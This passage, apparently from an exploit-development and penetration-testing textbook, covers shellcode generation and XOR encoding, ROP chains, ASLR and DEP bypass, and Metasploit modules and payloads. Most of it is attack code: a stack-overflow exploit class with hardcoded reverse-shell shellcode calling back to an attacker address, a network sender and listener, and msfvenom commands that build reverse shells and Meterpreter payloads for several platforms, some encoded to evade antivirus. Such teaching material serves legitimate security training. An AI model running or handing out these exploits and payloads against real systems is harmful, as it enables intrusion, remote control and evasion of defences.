        # Convert IP and port to hex
        ip_parts = ip.split('.')
        ip_hex = struct.pack('>I', (int(ip_parts[0]) << 24) | 
                                   (int(ip_parts[1]) << 16) |
                                   (int(ip_parts[2]) << 8) |
                                   int(ip_parts[3]))
        
        port_hex = struct.pack('>H', port)
        
        # x86 Linux reverse shell (simplified)
        shellcode = (
            b"\x31\xc0"              # xor eax, eax
            b"\x31\xdb"              # xor ebx, ebx
            b"\x31\xc9"              # xor ecx, ecx
            b"\x31\xd2"              # xor edx, edx
            b"\x66\xb8\x67\x01"      # mov ax, 0x167 (socketcall)
            b"\xb3\x01"              # mov bl, 0x1 (socket)
            b"\xcd\x80"              # int 0x80
            # ... (full reverse shell shellcode is longer)
        )
        
        return shellcode
    
    def generate_bind_shell(self, port):
        """Generate bind shell shellcode"""
        
        port_hex = struct.pack('>H', port)
        
        # x86 Linux bind shell (simplified)
        shellcode = (
            b"\x31\xc0"              # xor eax, eax
            b"\x31\xdb"              # xor ebx, ebx
            b"\x31\xc9"              # xor ecx, ecx
            b"\x31\xd2"              # xor edx, edx
            # ... (full bind shell shellcode is longer)
        )
        
        return shellcode
    
    def generate_alpha_numeric(self, shellcode):
        """Convert shellcode to alphanumeric (for restricted inputs)"""
        
        # This would use a decoder stub
        # Simplified example
        print("[*] Alphanumeric shellcode generation is complex")
        print("    Tools like msfvenom can generate alphanumeric shellcode")
        return shellcode
    
    def encode_shellcode(self, shellcode, encoder='xor'):
        """Encode shellcode to avoid bad characters"""
        
        if encoder == 'xor':
            # Simple XOR encoder
            key = 0xaa
            encoded = bytes([b ^ key for b in shellcode])
            
            # Add decoder stub
            decoder = (
                b"\xeb\x0d"           # jmp short 0x1f
                b"\x5e"                # pop esi
                b"\x31\xc9"            # xor ecx, ecx
                b"\xb1" + bytes([len(shellcode)])  # mov cl, len
                b"\x80\x36" + bytes([key])  # xor byte [esi], key
                b"\x46"                # inc esi
                b"\xe2\xfa"            # loop 0x10
                b"\xeb\x05"            # jmp short 0x1a
                b"\xe8\xee\xff\xff\xff"  # call 0x8
            )
            
            return decoder + encoded
            
        return shellcode
    
    def test_shellcode(self, shellcode):
        """Test shellcode in a C wrapper"""
        
        # Create test C program
        c_code = f'''
#include <stdio.h>
#include <string.h>

unsigned char code[] = {repr(shellcode)};

int main() {{
    void (*func)() = (void(*)())code;
    printf("Shellcode length: %d\\n", strlen(code));
    printf("Executing shellcode...\\n");
    func();
    return 0;
}}
'''
        
        with open('test_shellcode.c', 'w') as f:
            f.write(c_code)
            
        # Compile and run
        subprocess.run(['gcc', '-fno-stack-protector', '-z', 'execstack', 
                       '-o', 'test_shellcode', 'test_shellcode.c'])
        
        print("[*] Shellcode compiled to test_shellcode")
        print("[!] Run './test_shellcode' to test (may be dangerous!)")

# Example usage
sc_gen = ShellcodeGenerator()

# Generate execve shellcode
execve_sc = sc_gen.generate_linux_execve()
print(f"[+] execve shellcode ({len(execve_sc)} bytes):")
print(''.join(f'\\x{b:02x}' for b in execve_sc))

# Encode to avoid bad characters
encoded = sc_gen.encode_shellcode(execve_sc, 'xor')
print(f"\n[+] Encoded shellcode ({len(encoded)} bytes)")

Shellcode Testing with Python:

#!/usr/bin/env python3
# shellcode_tester.py

import ctypes
import mmap
import struct

class ShellcodeTester:
    def __init__(self):
        self.shellcode = None
        
    def allocate_executable_memory(self, size):
        """Allocate executable memory for shellcode"""
        
        # Use mmap to allocate executable memory
        libc = ctypes.CDLL("libc.so.6")
        
        MAP_ANONYMOUS = 0x20
        MAP_PRIVATE = 0x02
        PROT_READ = 0x1
        PROT_WRITE = 0x2
        PROT_EXEC = 0x4
        
        addr = libc.mmap(
            0, size,
            PROT_READ | PROT_WRITE | PROT_EXEC,
            MAP_PRIVATE | MAP_ANONYMOUS,
            -1, 0
        )
        
        return addr
    
    def test_shellcode(self, shellcode):
        """Test shellcode in isolated environment"""
        
        # Allocate memory
        mem = self.allocate_executable_memory(len(shellcode))
        
        # Copy shellcode
        ctypes.memmove(mem, shellcode, len(shellcode))
        
        # Cast to function and call
        func = ctypes.CFUNCTYPE(None)(mem)
        
        print("[*] About to execute shellcode...")
        print("[!] This may be dangerous! Press Ctrl+C to abort")
        
        try:
            func()  # Execute shellcode
            print("[+] Shellcode executed")
        except Exception as e:
            print(f"[-] Error executing shellcode: {e}")
        except KeyboardInterrupt:
            print("\n[!] Aborted by user")
            
    def find_bad_chars(self, shellcode):
        """Identify bad characters in shellcode"""
        
        bad_chars = [0x00, 0x0a, 0x0d]  # Common bad chars: null, newline, carriage return
        
        bad_found = []
        for bad in bad_chars:
            if bad in shellcode:
                bad_found.append(hex(bad))
                
        if bad_found:
            print(f"[!] Bad characters found: {', '.join(bad_found)}")
        else:
            print("[+] No common bad characters found")
            
        return bad_found

# Example usage (be careful!)
tester = ShellcodeTester()

# Example shellcode (should be replaced with actual generated shellcode)
example_shellcode = b"\x90\x90\x90\x90"  # NOP sled

tester.find_bad_chars(example_shellcode)
# tester.test_shellcode(example_shellcode)  # DANGEROUS - use with caution

15.4 Return Oriented Programming (ROP)

ROP is a technique that allows attackers to execute code despite defenses like non-executable memory (NX bit).

15.4.1 ROP Fundamentals

#!/usr/bin/env python3
# rop_fundamentals.py

import struct

class ROPBuilder:
    def __init__(self, binary):
        self.binary = binary
        self.gadgets = []
        self.chain = []
        
    def find_gadgets(self):
        """Find ROP gadgets (using ROPgadget tool)"""
        
        import subprocess
        
        print(f"[*] Finding gadgets in {self.binary}...")
        
        try:
            result = subprocess.run(
                ['ROPgadget', '--binary', self.binary],
                capture_output=True,
                text=True
            )
            
            # Parse gadgets
            for line in result.stdout.split('\n'):
                if '0x' in line and ':' in line:
                    addr, gadget = line.split(':', 1)
                    addr = int(addr.strip(), 16)
                    gadget = gadget.strip()
                    
                    # Store interesting gadgets
                    if 'pop' in gadget or 'ret' in gadget or 'int 0x80' in gadget:
                        self.gadgets.append({
                            'address': addr,
                            'gadget': gadget
                        })
                        
            print(f"[+] Found {len(self.gadgets)} gadgets")
            
        except FileNotFoundError:
            print("[-] ROPgadget not found. Install with: pip install ropgadget")
            
        return self.gadgets
    
    def build_execve_chain(self, binsh_addr):
        """Build ROP chain for execve syscall"""
        
        # Find necessary gadgets
        pop_eax = self.find_gadget_by_instruction('pop eax')
        pop_ebx = self.find_gadget_by_instruction('pop ebx')
        pop_ecx = self.find_gadget_by_instruction('pop ecx')
        pop_edx = self.find_gadget_by_instruction('pop edx')
        int80 = self.find_gadget_by_instruction('int 0x80')
        
        if not all([pop_eax, pop_ebx, pop_ecx, pop_edx, int80]):
            print("[-] Could not find all required gadgets")
            return None
            
        # Build chain
        chain = []
        
        # Set eax = 11 (execve syscall)
        chain.append(pop_eax['address'])
        chain.append(11)
        
        # Set ebx = address of "/bin/sh"
        chain.append(pop_ebx['address'])
        chain.append(binsh_addr)
        
        # Set ecx = 0 (argv)
        chain.append(pop_ecx['address'])
        chain.append(0)
        
        # Set edx = 0 (envp)
        chain.append(pop_edx['address'])
        chain.append(0)
        
        # Execute syscall
        chain.append(int80['address'])
        
        return chain
    
    def find_gadget_by_instruction(self, instruction):
        """Find gadget containing specific instruction"""
        for gadget in self.gadgets:
            if instruction in gadget['gadget']:
                return gadget
        return None
    
    def demonstrate_rop_chain(self):
        """Show ROP chain visualization"""
        
        print("\n[+] ROP Chain Visualization:")
        print("    Stack grows downward (higher to lower addresses)")
        print("\n    +-----------------+ <-- ESP")
        print("    | gadget1_addr    |")
        print("    +-----------------+")
        print("    | param1          |")
        print("    +-----------------+")
        print("    | gadget2_addr    |")
        print("    +-----------------+")
        print("    | param2          |")
        print("    +-----------------+")
        print("    | gadget3_addr    |")
        print("    +-----------------+")
        print("    | ...             |")
        print("    +-----------------+")
        
    def chain_to_bytes(self, chain):
        """Convert ROP chain to bytes for exploit"""
        
        if not chain:
            return b''
            
        result = b''
        for addr in chain:
            result += struct.pack('<I', addr)  # Little-endian
        return result

# Example usage
rop = ROPBuilder('./vuln')
gadgets = rop.find_gadgets()

if gadgets:
    # Example - assume we have "/bin/sh" at address 0xbffff5c0
    chain = rop.build_execve_chain(0xbffff5c0)
    if chain:
        print(f"[+] ROP chain built with {len(chain)} gadgets")
        chain_bytes = rop.chain_to_bytes(chain)
        print(f"[+] Chain bytes: {chain_bytes.hex()}")

15.4.2 Advanced ROP Techniques

#!/usr/bin/env python3
# rop_advanced.py

class AdvancedROP:
    def __init__(self):
        self.techniques = {
            'ret2csu': 'Using __libc_csu_init gadgets for complex setups',
            'sigreturn': 'Using sigreturn syscall to set all registers',
            'rop_chain_combining': 'Combining multiple ROP chains',
            'blind_rop': 'ROP without knowing binary addresses (BROP)'
        }
        
    def demonstrate_ret2csu(self):
        """Show ret2csu technique for x86_64"""
        
        print("[+] ret2csu Technique (x86_64):")
        print("    Uses gadgets from __libc_csu_init:")
        print("\n    Gadget 1:")
        print("    pop rbx")
        print("    pop rbp")
        print("    pop r12")
        print("    pop r13")
        print("    pop r14")
        print("    pop r15")
        print("    ret")
        
        print("\n    Gadget 2:")
        print("    mov rdx, r15")
        print("    mov rsi, r14")
        print("    mov edi, r13d")
        print("    call qword [r12+rbx*8]")
        print("    ...")
        print("    ret")
        
    def demonstrate_sigreturn(self):
        """Show sigreturn ROP technique"""
        
        print("\n[+] Sigreturn ROP:")
        print("    Uses the sigreturn syscall to set all registers:")
        print("\n    Stack Layout for sigreturn:")
        print("    +-----------------+")
        print("    | rt_sigreturn    | <- Syscall number")
        print("    +-----------------+")
        print("    | 0x00000000      | <- Fake sigcontext")
        print("    | RAX value       |")
        print("    | RBX value       |")
        print("    | RCX value       |")
        print("    | ...             |")
        print("    +-----------------+")
        
    def generate_sigreturn_frame(self, regs):
        """Generate sigreturn frame for x86_64"""
        
        # This is a simplified frame - actual is larger
        frame = b''
        frame += struct.pack('<Q', regs.get('rax', 0))
        frame += struct.pack('<Q', regs.get('rbx', 0))
        frame += struct.pack('<Q', regs.get('rcx', 0))
        frame += struct.pack('<Q', regs.get('rdx', 0))
        frame += struct.pack('<Q', regs.get('rsi', 0))
        frame += struct.pack('<Q', regs.get('rdi', 0))
        frame += struct.pack('<Q', regs.get('rbp', 0))
        frame += struct.pack('<Q', regs.get('rsp', 0))
        frame += struct.pack('<Q', regs.get('rip', 0))
        frame += struct.pack('<Q', regs.get('rflags', 0))
        # ... more registers
        
        return frame

# Example usage
adv_rop = AdvancedROP()
adv_rop.demonstrate_ret2csu()
adv_rop.demonstrate_sigreturn()

15.5 Bypassing ASLR & DEP

Modern systems implement multiple protections that exploit developers must bypass.

15.5.1 ASLR (Address Space Layout Randomization)

#!/usr/bin/env python3
# aslr_bypass.py

class ASLRBypass:
    def __init__(self):
        self.techniques = {
            'info_leak': 'Leak memory addresses through vulnerabilities',
            'partial_overwrite': 'Overwrite only lower bytes of addresses',
            'ret2plt': 'Use PLT entries which are not randomized',
            'bruteforce': 'Brute force 8-16 bits of randomness on 32-bit',
            'heap_spraying': 'Fill heap with shellcode to increase hit chance'
        }
        
    def demonstrate_info_leak(self):
        """Show how info leaks bypass ASLR"""
        
        print("[+] Info Leak Technique:")
        print("    1. Find vulnerability that leaks memory (format string, UAF)")
        print("    2. Leak address of libc function (e.g., printf@got)")
        print("    3. Calculate libc base = leaked_addr - function_offset")
        print("    4. Calculate system() = libc_base + system_offset")
        print("    5. Build exploit with known addresses")
        
    def demonstrate_partial_overwrite(self):
        """Show partial overwrite technique"""
        
        print("\n[+] Partial Overwrite (24-bit):")
        print("    On 32-bit systems with ASLR, only 8-16 bits are randomized")
        print("    We can overwrite only the lower 2 bytes of return address")
        print("\n    Original: 0xb7f5c420 (randomized)")
        print("    Overwrite lower 2 bytes: 0xb7f5XXXX")
        print("    Brute force 65536 possibilities instead of 4 billion")
        
    def demonstrate_ret2plt(self):
        """Show ret2plt technique"""
        
        print("\n[+] ret2plt:")
        print("    PLT (Procedure Linkage Table) entries are not randomized")
        print("    We can call functions via PLT without knowing libc addresses")
        print("\n    Example:")
        print("    Call system@plt with argument pointing to '/bin/sh'")
        
    def calculate_aslr_entropy(self, arch='x86_64'):
        """Calculate ASLR entropy for different architectures"""
        
        entropy = {
            'x86': {
                'stack': '19 bits',
                'mmap': '16 bits',
                'exec': '16 bits',
                'heap': '13 bits'
            },
            'x86_64': {
                'stack': '28 bits',
                'mmap': '28 bits',
                'exec': '28 bits',
                'heap': '13 bits'
            },
            'arm': {
                'stack': '14-16 bits',
                'mmap': '14-16 bits',
                'exec': '14-16 bits',
                'heap': '8-12 bits'
            }
        }
        
        return entropy.get(arch, entropy['x86_64'])
    
    def bruteforce_aslr_32bit(self, probability=0.5):
        """Calculate bruteforce attempts for 32-bit ASLR"""
        
        # 16 bits of randomness = 65536 possibilities
        possibilities = 65536
        attempts = int(possibilities * probability)
        
        return {
            'total_possibilities': possibilities,
            f'attempts_for_{probability*100}%': attempts
        }

# Example usage
aslr = ASLRBypass()
aslr.demonstrate_info_leak()
aslr.demonstrate_partial_overwrite()

entropy = aslr.calculate_aslr_entropy('x86_64')
print(f"\n[+] ASLR Entropy for x86_64: {entropy}")

bruteforce = aslr.bruteforce_aslr_32bit(0.5)
print(f"[+] 32-bit ASLR bruteforce: {bruteforce}")

15.5.2 DEP/NX (Data Execution Prevention)

#!/usr/bin/env python3
# dep_bypass.py

class DEPBypass:
    def __init__(self):
        self.techniques = {
            'ret2libc': 'Return to existing libc functions',
            'mprotect': 'Use mprotect() to make stack executable',
            'rop': 'Return-Oriented Programming',
            'jmp_esp': 'Jump to shellcode in non-executable memory'
        }
        
    def demonstrate_ret2libc_dep(self):
        """Show ret2libc for DEP bypass"""
        
        print("[+] ret2libc for DEP Bypass:")
        print("    1. Find addresses of system() and exit() in libc")
        print("    2. Find address of '/bin/sh' string")
        print("    3. Build stack: [system()] [exit()] ['/bin/sh' addr]")
        print("    4. Overflow buffer to return to system()")
        
    def demonstrate_mprotect(self):
        """Show mprotect technique"""
        
        print("\n[+] mprotect Technique:")
        print("    1. Call mprotect() to change stack permissions")
        print("    2. mprotect(stack_addr, size, PROT_READ|PROT_WRITE|PROT_EXEC)")
        print("    3. Return to shellcode on stack")
        
    def build_mprotect_chain(self, mprotect_addr, stack_addr, shellcode):
        """Build ROP chain for mprotect + shellcode"""
        
        chain = []
        
        # Call mprotect(stack_addr, size, 7)
        chain.append(mprotect_addr)  # mprotect function
        chain.append(0xdeadbeef)     # return address (any)
        chain.append(stack_addr)     # arg1: stack address
        chain.append(0x10000)        # arg2: size
        chain.append(7)              # arg3: PROT_READ|WRITE|EXEC (7)
        
        return chain
    
    def check_dep_status(self, binary):
        """Check if binary has DEP enabled"""
        
        import subprocess
        
        try:
            result = subprocess.run(
                ['readelf', '-l', binary],
                capture_output=True,
                text=True
            )
            
            if 'GNU_STACK' in result.stdout:
                if 'RWE' in result.stdout:
                    print(f"[!] {binary} has executable stack (DEP disabled)")
                    return False
                else:
                    print(f"[+] {binary} has non-executable stack (DEP enabled)")
                    return True
        except:
            print("[-] Could not check DEP status")
            
        return None

# Example usage
dep = DEPBypass()
dep.demonstrate_ret2libc_dep()
dep.demonstrate_mprotect()

# Check DEP on binary
dep_status = dep.check_dep_status('/bin/ls')
print(f"[*] DEP enabled: {dep_status}")

15.5.3 Complete Exploit Example

#!/usr/bin/env python3
# complete_exploit.py

import struct
import socket
import sys

class CompleteExploit:
    def __init__(self, target, port, vuln_type='stack_overflow'):
        self.target = target
        self.port = port
        self.vuln_type = vuln_type
        
    def build_exploit_stack(self, offset, ret_addr, shellcode):
        """Build full exploit buffer"""
        
        exploit = b''
        exploit += b'A' * offset  # Padding to return address
        exploit += struct.pack('<I', ret_addr)  # Return address
        
        # NOP sled
        exploit += b'\x90' * 100
        
        # Shellcode
        exploit += shellcode
        
        return exploit
    
    def get_linux_reverse_shell(self, lhost, lport):
        """Generate reverse shell shellcode"""
        
        # This is a simplified example - use msfvenom for real shellcode
        # msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f python
        
        shellcode = b''
        shellcode += b"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66"
        shellcode += b"\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68"
        shellcode += socket.inet_aton(lhost)
        shellcode += b"\x68\x02\x00"
        shellcode += struct.pack('>H', lport)
        shellcode += b"\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1\xcd\x80"
        shellcode += b"\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
        shellcode += b"\x52\x53\x89\xe1\xb0\x0b\xcd\x80"
        
        return shellcode
    
    def test_exploit_local(self, binary_path, exploit_buffer):
        """Test exploit locally"""
        
        import subprocess
        
        try:
            result = subprocess.run(
                [binary_path, exploit_buffer],
                capture_output=True,
                timeout=2
            )
            return result.returncode != 0
        except subprocess.TimeoutExpired:
            return True  # Likely success (crashed)
        except Exception as e:
            print(f"[-] Error: {e}")
            return False
    
    def send_exploit_network(self, exploit_buffer):
        """Send exploit over network"""
        
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((self.target, self.port))
            
            sock.send(exploit_buffer)
            sock.close()
            
            print(f"[+] Exploit sent to {self.target}:{self.port}")
            return True
            
        except Exception as e:
            print(f"[-] Network error: {e}")
            return False
    
    def setup_listener(self, lport):
        """Setup listener for reverse shell"""
        
        import threading
        import socket
        
        def handle_connection(client, addr):
            print(f"[+] Connection from {addr}")
            while True:
                try:
                    data = client.recv(1024)
                    if not data:
                        break
                    print(data.decode(), end='')
                except:
                    break
            client.close()
        
        server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        server.bind(('0.0.0.0', lport))
        server.listen(1)
        
        print(f"[*] Listening on 0.0.0.0:{lport}")
        
        client, addr = server.accept()
        handle_connection(client, addr)

# Example usage
exploit = CompleteExploit('192.168.1.100', 4444)

# Build exploit
offset = 64
ret_addr = 0xbffff5c0  # Example stack address
lhost = '192.168.1.50'
lport = 4444

shellcode = exploit.get_linux_reverse_shell(lhost, lport)
exploit_buffer = exploit.build_exploit_stack(offset, ret_addr, shellcode)

print(f"[+] Exploit buffer size: {len(exploit_buffer)} bytes")
print(f"[+] Shellcode size: {len(shellcode)} bytes")

# Send exploit
# exploit.send_exploit_network(exploit_buffer)

# Setup listener for reverse shell
# exploit.setup_listener(lport)

Chapter 16 — Metasploit Framework

The Metasploit Framework is the most widely used exploitation framework, providing a comprehensive platform for developing, testing, and executing exploits.

16.1 Architecture

Understanding Metasploit's architecture is essential for effective use and module development.

16.1.1 Metasploit Components

#!/usr/bin/env python3
# metasploit_architecture.py

class MetasploitArchitecture:
    def __init__(self):
        self.components = {
            'libraries': {
                'rex': 'Basic library for handling sockets, protocols, etc.',
                'msfcore': 'Core framework libraries',
                'msfbase': 'Base classes for all modules'
            },
            'interfaces': {
                'console': 'msfconsole - Interactive console',
                'cli': 'Command-line interface',
                'gui': 'Armitage, Web interface',
                'api': 'REST API for remote control'
            },
            'modules': {
                'exploit': 'Code that triggers a vulnerability',
                'payload': 'Code that runs after successful exploitation',
                'auxiliary': 'Scanning, fuzzing, etc. (no payload)',
                'encoder': 'Transforms payloads to avoid detection',
                'nop': 'NOP generators for exploit padding',
                'post': 'Post-exploitation modules'
            },
            'plugins': {
                'nexpose': 'Nexpose integration',
                'nessus': 'Nessus integration',
                'openvas': 'OpenVAS integration'
            }
        }
        
    def show_module_types(self):
        """Display module type hierarchy"""
        
        print("[+] Metasploit Module Hierarchy:")
        print("    Module")
        print("    ├── Exploit")
        print("    │   ├── Windows")
        print("    │   ├── Linux")
        print("    │   ├── OS X")
        print("    │   └── Multi-platform")
        print("    ├── Payload")
        print("    │   ├── Singles")
        print("    │   ├── Stagers")
        print("    │   └── Stages")
        print("    ├── Auxiliary")
        print("    │   ├── Scanner")
        print("    │   ├── Fuzzer")
        print("    │   └── Dos")
        print("    ├── Encoder")
        print("    └── Post")
        
    def explain_mixins(self):
        """Explain Ruby mixins in Metasploit"""
        
        print("\n[+] Important Metasploit Mixins:")
        mixins = {
            'Msf::Exploit::Remote::Tcp': 'TCP socket handling',
            'Msf::Exploit::Remote::HttpClient': 'HTTP client functionality',
            'Msf::Exploit::Remote::SMB': 'SMB protocol handling',
            'Msf::Exploit::FileDropper': 'File upload/cleanup',
            'Msf::Post::Windows::Priv': 'Windows privilege functions',
            'Msf::Post::Linux::Priv': 'Linux privilege functions'
        }
        
        for mixin, desc in mixins.items():
            print(f"  {mixin}: {desc}")

# Example usage
arch = MetasploitArchitecture()
arch.show_module_types()
arch.explain_mixins()

16.2 Modules

Metasploit modules are the building blocks of the framework.

16.2.1 Module Structure

# Example Metasploit module (Ruby)
# save as exploit.rb

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::FileDropper
  
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Example Exploit Module',
      'Description'    => %q{
        This is an example exploit module showing the structure
        of a Metasploit module.
      },
      'Author'         => ['Your Name'],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2024-0001'],
          ['EDB', '12345']
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          ['Windows 10',
            {
              'Ret' => 0x41414141,
              'Offset' => 64
            }
          ]
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00\x0a\x0d"
        },
      'Privileged'     => false,
      'DisclosureDate' => '2024-01-01'
    ))
    
    register_options(
      [
        Opt::RPORT(80),
        OptString.new('TARGETURI', [true, 'The target URI', '/vuln.php'])
      ])
  end
  
  def check
    # Check if target is vulnerable
    connect
    # ... detection logic
    disconnect
    
    return Exploit::CheckCode::Vulnerable
  end
  
  def exploit
    # Main exploitation logic
    connect
    
    # Build buffer
    buffer = rand_text_alpha(target['Offset'])
    buffer << [target['Ret']].pack('V')
    buffer << make_nops(16)
    buffer << payload.encoded
    
    # Send exploit
    sock.put(buffer)
    
    handler
    disconnect
  end
end

Python Script to Generate Metasploit Module:

#!/usr/bin/env python3
# msf_module_generator.py

class MSFModuleGenerator:
    def __init__(self, module_name, module_type='exploit'):
        self.name = module_name
        self.type = module_type
        self.template = ""
        
    def generate_exploit_module(self, options):
        """Generate exploit module template"""
        
        template = f'''
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = {options.get('rank', 'NormalRanking')}
  
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info = {{}})
    super(update_info(info,
      'Name'           => '{options.get('name', self.name)}',
      'Description'    => %q{{
        {options.get('description', 'Description here')}
      }},
      'Author'         => {options.get('author', ['Your Name'])},
      'License'        => MSF_LICENSE,
      'References'     => {options.get('references', [])},
      'Platform'       => '{options.get('platform', 'win')}',
      'Targets'        => {options.get('targets', [['Windows Universal', {{}}]])},
      'Payload'        => {{
        'BadChars' => {options.get('badchars', "\\x00\\x0a\\x0d")}
      }},
      'DisclosureDate' => '{options.get('disclosure_date', '2024-01-01')}'
    ))
    
    register_options(
      [
        Opt::RPORT({options.get('port', 80)}),
        OptString.new('TARGETURI', [true, 'The target URI', '{options.get('uri', '/')}'])
      ])
  end
  
  def check
    # Check if target is vulnerable
    res = send_request_cgi({{
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path)
    }})
    
    if res && res.code == 200
      return Exploit::CheckCode::Vulnerable
    end
    
    return Exploit::CheckCode::Safe
  end
  
  def exploit
    print_status("Exploiting target...")
    
    # Build exploit buffer
    buffer = rand_text_alpha(1024)
    
    # Send exploit
    res = send_request_cgi({{
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path),
      'data' => buffer
    }})
    
    if res
      print_status("Server responded with code: {{res.code}}")
    end
    
    handler
  end
end
'''
        return template
    
    def generate_auxiliary_module(self, options):
        """Generate auxiliary module template"""
        
        template = f'''
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Scanner
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info = {{}})
    super(update_info(info,
      'Name'           => '{options.get('name', self.name)}',
      'Description'    => %q{{
        {options.get('description', 'Description here')}
      }},
      'Author'         => {options.get('author', ['Your Name'])},
      'License'        => MSF_LICENSE,
      'References'     => {options.get('references', [])}
    ))
    
    register_options(
      [
        Opt::RPORT({options.get('port', 80)}),
        OptString.new('TARGETURI', [true, 'The target URI', '{options.get('uri', '/')}'])
      ])
  end
  
  def run_host(ip)
    print_status("Scanning {{ip}}")
    
    res = send_request_cgi({{
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path)
    }})
    
    if res && res.code == 200
      print_good("{{ip}} is accessible")
      # Extract information
      store_loot("target_info", "text/plain", ip, res.body)
    end
  end
end
'''
        return template
    
    def save_module(self, filename):
        """Save generated module to file"""
        with open(filename, 'w') as f:
            f.write(self.template)
        print(f"[+] Module saved to {filename}")

# Example usage
generator = MSFModuleGenerator('example_exploit')

# Generate exploit module
options = {
    'name': 'Example HTTP Exploit',
    'description': 'This module exploits a buffer overflow in example app',
    'author': ['John Doe'],
    'references': [['CVE', '2024-1234']],
    'platform': 'linux',
    'targets': [['Linux Universal', {'Ret': 0x41414141}]],
    'badchars': "\\x00\\x0a\\x0d",
    'port': 8080,
    'uri': '/vuln'
}

generator.template = generator.generate_exploit_module(options)
generator.save_module('example_exploit.rb')

16.3 Payloads

Payloads are the code that runs after successful exploitation.

16.3.1 Payload Types

#!/usr/bin/env python3
# msf_payloads.py

class MSFPayloads:
    def __init__(self):
        self.payload_types = {
            'singles': 'Self-contained payloads that perform a specific task',
            'stagers': 'Small payloads that download and execute the stage',
            'stages': 'Larger payloads downloaded by stagers',
            'inline': 'Payloads that run in the same process',
            'meterpreter': 'Advanced multi-stage payload with extensive features'
        }
        
        self.payload_categories = {
            'shell_bind_tcp': 'Binds a shell to a local port',
            'shell_reverse_tcp': 'Connects back with a shell',
            'meterpreter_bind_tcp': 'Meterpreter bind payload',
            'meterpreter_reverse_tcp': 'Meterpreter reverse payload',
            'vnc_inject': 'VNC server injection',
            'windows_exec': 'Execute an arbitrary command',
            'linux_exec': 'Execute an arbitrary command',
            'add_user': 'Add a user to the system'
        }
        
    def explain_stagers(self):
        """Explain how stagers work"""
        
        print("[+] Stager Workflow:")
        print("    1. Exploit triggers stager (small, ~200-400 bytes)")
        print("    2. Stager connects back to attacker")
        print("    3. Stager receives and executes stage")
        print("    4. Stage provides full functionality (Meterpreter)")
        
    def generate_msfvenom_commands(self, lhost, lport):
        """Generate common msfvenom commands"""
        
        commands = {
            'linux_reverse_shell': f'msfvenom -p linux/x86/shell_reverse_tcp LHOST={lhost} LPORT={lport} -f elf -o shell.elf',
            'windows_reverse_shell': f'msfvenom -p windows/shell_reverse_tcp LHOST={lhost} LPORT={lport} -f exe -o shell.exe',
            'linux_meterpreter': f'msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST={lhost} LPORT={lport} -f elf -o meterpreter.elf',
            'windows_meterpreter': f'msfvenom -p windows/meterpreter/reverse_tcp LHOST={lhost} LPORT={lport} -f exe -o meterpreter.exe',
            'php_reverse_shell': f'msfvenom -p php/reverse_php LHOST={lhost} LPORT={lport} -f raw -o shell.php',
            'python_reverse_shell': f'msfvenom -p python/shell_reverse_tcp LHOST={lhost} LPORT={lport} -o shell.py',
            'java_jsp_shell': f'msfvenom -p java/jsp_shell_reverse_tcp LHOST={lhost} LPORT={lport} -f raw -o shell.jsp',
            'war_tomcat': f'msfvenom -p java/jsp_shell_reverse_tcp LHOST={lhost} LPORT={lport} -f war -o shell.war',
            'apk_android': f'msfvenom -p android/meterpreter/reverse_tcp LHOST={lhost} LPORT={lport} -o shell.apk',
            'osx_reverse_shell': f'msfvenom -p osx/x86/shell_reverse_tcp LHOST={lhost} LPORT={lport} -f macho -o shell.macho'
        }
        
        return commands
    
    def encode_payload(self, payload, encoder='x86/shikata_ga_nai', iterations=5):
        """Generate encoded payload command"""
        
        cmd = f'msfvenom -p {payload} -e {encoder} -i {iterations} -f raw'
        return cmd
    
    def avoid_bad_chars(self, payload, bad_chars):
        """Generate command to avoid bad characters"""
        
        bad_str = '\\x' + '\\x'.join([f'{b:02x}' for b in bad_chars])
        cmd = f'msfvenom -p {payload} -b "{bad_str}" -f raw'
        return cmd
    
    def list_payloads(self, platform=None):
        """List available payloads"""
        
        import subprocess
        
        cmd = ['msfvenom', '--list', 'payloads']
        if platform:
            cmd.append('--platform')
            cmd.append(platform)
            
        try:
            result = subprocess.run(cmd, capture_output=True, text=True)
            return result.stdout
        except:
            return "msfvenom not found"

# Example usage
payloads = MSFPayloads()
payloads.explain_stagers()

commands = payloads.generate_msfvenom_commands('192.168.1.100', 4444)
for name, cmd in commands.items():
    print(f"\n{name}:")
    print(f"  {cmd}")

# Generate encoded payload
encoded_cmd = payloads.encode_payload('windows/shell_reverse_tcp', 'x86/shikata_ga_nai', 5)
print(f"\nEncoded payload: {encoded_cmd}")

16.4 Encoders

Encoders transform payloads to avoid detection by signature-based AV and to remove bad characters.

16.4.1 Encoder Types

#!/usr/bin/env python3
# msf_encoders.py

class MSFEncoders:
    def __init__(self):
        self.encoders = {
            'x86/shikata_ga_nai': {
                'type': 'Polymorphic XOR Additive Feedback',
                'effectiveness': 'High',
                'detection': 'Commonly detected by modern AV',
                'use_case': 'General purpose, most popular'
            },
            'x86/jmp_call_additive': {
                'type': 'JMP/CALL Additive',
                'effectiveness': 'Medium',
